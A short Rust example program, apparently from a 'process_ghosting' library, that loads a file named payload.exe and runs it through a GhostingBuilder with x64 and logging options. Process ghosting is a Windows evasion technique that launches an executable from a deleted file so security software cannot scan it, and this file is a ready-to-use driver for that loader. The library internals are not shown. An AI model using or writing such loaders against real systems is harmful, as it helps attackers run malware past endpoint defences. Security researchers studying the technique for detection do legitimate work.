use process_ghosting::{GhostingBuilder, init};
fn main() {
init();
println!("[*] Basic Usage Example\n");
let payload_path = "payload.exe";
match std::fs::read(payload_path) {
Ok(payload) => {
println!("[+] Loaded payload: {} bytes", payload.len());
let result = GhostingBuilder::new(&payload)
.x64() .with_logging() .execute();
match result {
Ok(_) => println!("\n[+] Process ghosting completed successfully!"),
Err(e) => eprintln!("\n[-] Process ghosting failed: {}", e),
}
}
Err(e) => {
eprintln!("[-] Failed to read payload file '{}': {}", payload_path, e);
eprintln!(" Please provide a valid PE executable.");
}
}
}